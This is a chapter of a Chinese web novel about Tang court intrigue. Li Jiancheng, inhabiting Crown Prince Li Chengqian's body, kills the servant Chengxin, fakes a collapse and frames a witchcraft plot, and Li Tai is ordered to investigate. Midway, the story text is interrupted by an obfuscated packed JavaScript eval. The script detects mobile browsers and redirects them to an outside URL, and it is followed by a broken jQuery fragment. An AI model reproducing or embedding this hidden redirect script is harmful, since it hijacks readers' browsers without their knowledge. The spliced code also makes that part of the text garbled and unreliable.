8. 孤是太子

作品:《父皇开门,我是你哥

    一剑穿胸,称心连一点反抗的机会都没有,直接一口血呕出来。


    李建成冷笑:“就凭你,还想算计我?”


    别说瘸了一条腿,就是两条腿都没了,弄死你一个小小的称心、还是不费吹灰之力。


    “你——”称心脸上血色尽退,“你究竟是谁?!”


    李建成淡淡说:“孤、自然是太子。”


    他慢慢走上前,拾起那黄符,里面写的果然是李承乾的八字。


    承乾承乾,承继乾坤。


    一看就是个能登大位的好名字。


    当年父皇给这小娃娃取了这么一个名字,真不知道他到底是怎么想的。


    还是说,阿耶其实已经想到了今后?


    可惜了,好名字、好八字,但还是不够,


    称心咬牙:“你不是殿下!”


    看着他这一副目眦欲裂的模样,李建成也略有些怜惜这一对儿了。


    没想到,第一个发现李承乾已经被“换”了的,不是他的父亲兄弟、骨肉手足,却只是区区一个卑贱的伶人。


    “殿下呢?我的殿下呢!”


    李建成坐下来,当然看着他。


    重伤下的失血过多,称心已经神志不清了。他浑身哆嗦,但还是要知道真相,不是殿下、不是承乾,绝对不是!


    若说之前他还只是怀疑,现在已经是深信不疑了。


    殿下绝对不会对他下手的,绝对不会伤害他分毫!哪怕是陛下要他性命,殿下也一定会挡在自己面前!


    这个、一剑捅进他胸膛的人,绝对不是承乾!


    而且,现在对方也不演了。


    在东宫,在陛下魏王门客们面前,他还一直扮演着尊贵的太子殿下。


    可此时此刻,他居高临下看着自己,那样冷漠且无情的表情……


    虽然依然是李承乾俊美无双的那张脸,可这眼神、这神态、这周身弥漫的气息……没有半分李承乾的影子!


    “你、你不是太子……”


    称心带着濒死的颤音,还是在反反复复那句话,“你是谁?!”


    重伤的人,决不能如此情绪激动地吼叫,但称心已经不在乎了。


    他知道自己必死无疑,但在死之前、他必须要知道真相。


    他不能就这样一无所知去死——


    李建成坐下来:“孤说了,孤是太子。”


    “不,你不是!”


    你看,还犟。


    李建成声音不高,却像钝刀子割肉,一字一字钻进称心耳中。


    “大唐,就只有一个太子?”


    称心已经涣散的瞳孔骤然缩紧,仿佛听到了这世上最荒谬、最不可置信的答案。


    他张了张嘴,似乎想说什么。


    可李建成猛地伸手,直接将他胸口的长剑抽出。


    称心吐出最后一口血沫,头无力地垂向一侧,当场便气绝身亡了,眼睛还睁着。


    “也好。”李建成轻飘飘说,“你们也算是团聚了。”


    他面无表情看着称心的尸体,伸手合上他的眼睛。


    如此看来,不知道真的李承乾在哪儿,但肯定不在这儿。


    不然,他为什么一点儿感觉不到?


    厉鬼也能作祟啊。


    他又仔细翻看了香案,除了有生辰八字的黄符,还有朱砂、人偶、桃木剑。


    够了。


    人证物证,一应俱全,足以说明很多问题了。


    他扶着一旁的桌子站起身,重新拄起拐。


    远处已经隐隐约约听到有脚步声,很快他们就可以找到这儿了。


    他环顾四周,找了一块还算是安全的地方,身体顺势向后倒向地面。


    “咚。”


    他闭上眼,调整呼吸,仿佛真的已昏死过去,不省人事。


    很快,仓促的叩门声传来。


    “啊!!!!”


    “来人啊!快来人啊!太子殿下!称心!”


    混乱的脚步,惊恐的呼喊……东宫瞬间炸开了锅。


    “太医!快传太医!”


    “封锁东宫!任何人不得出入!”


    “速报陛下!快——!”


    *


    之后就是一团乱麻了,李世民到是来的挺快,看来对这个儿子确实是真的用心。


    他有过的一切,他都想给他的儿子。甚至于他不曾拥有的,也想全部给他。


    “给朕查!彻查!”


    杀意凛然,直冲九霄!


    “翻遍东宫、掘地三尺!朕倒要看看是谁吃了熊心豹子胆,敢用这等巫蛊谋害朕的太子!谋害朕的儿子!”


    要说千防万防、家贼难防,谁知道竟然是称心会干出这种事。


    “似乎是,太子殿下觉得不对……找到称心、发现他在……一怒之下就杀了他……”


    李世民咬牙切齿:“便是千刀万剐也不为过,立刻将他拉出去烧了!”


    太子不知道是否是受了巫蛊影响,或者是倒地的时候伤了头部,一直昏沉不醒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164780|196654||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    其实主要是李建成不想又和李世民哭哭抱抱,他深怕一时把控不住,会真动手去掐住他脖子。


    李世民的手冰凉,覆在他额头上。


    但李建成冷笑:二郎,你看,虽然你自觉你们父子情深、情比金坚,但你没发现他已经换了,但这个叫称心的发现了。


    人世间就是如此荒谬。


    “阿耶。”


    李泰匆匆而来,衣服就没系好,满头是汗。


    “大哥……阿耶、大哥他无事吧?”


    “太医看过了,说是受了惊吓。”


    自来巫蛊之术都是禁术,汉武帝晚年“巫蛊之祸”,长安血流成河。


    施蛊者死,这是铁律!


    如今,竟有人将此用在太子身上,怎能不让皇帝悲痛交加。


    “青雀,此事不能让外人得知。”


    李世民的声音带着沉痛的哽咽,“你来查、你亲自来查,定要揪出害你兄长的恶徒!”


    李泰:……我、我吗……


    他的第一反应当然是拒绝,不是他不心疼阿耶、也不是他不怜惜大哥,可、可是……


    他明白父皇为何选自己,因为父皇信任他,因为他和大哥是手足。


    也因不能外扬,而他做事一贯妥当周到,所以确实是最好的人选,他们是一家人嘛。


    可是,他得避嫌啊。


    尤其是,他从小九那儿得知,有人在大哥面前挑拨他们兄弟之间的关系,甚至有可能是大哥本人……当时他就觉得不妙。


    如今又出了这一档子事,他真是避之唯恐不及,怎么还会凑上去。


    “父皇、儿臣……”


    李泰的嘴唇动了动,他想推拒,说自己才疏学浅、难当此任,或者推脱此牵连必广,他身份敏感、不宜贸然插手。


    他不是没有和大哥争一争的心,天下是父皇的、皇位是阿耶的,阿耶想给谁就给谁。


    他也一样是父皇母后的儿子,况且大哥没有子嗣,未必不能轮到他。


    可哪怕是半个月前,他都还觉得,他和兄长还年轻,父皇正值盛年,还远远不到他们兄弟真的要明面上争来夺去的时候。


    可没想到,短短半个月……就……


    他明白,山雨欲来了。


    李世民声音一提:“你不愿意?”


    “儿臣……”他伏下身,“领旨。”


    他踌躇,但他不能拒绝阿耶的目光。


    那是信任,是托付,更是无可违逆的君命。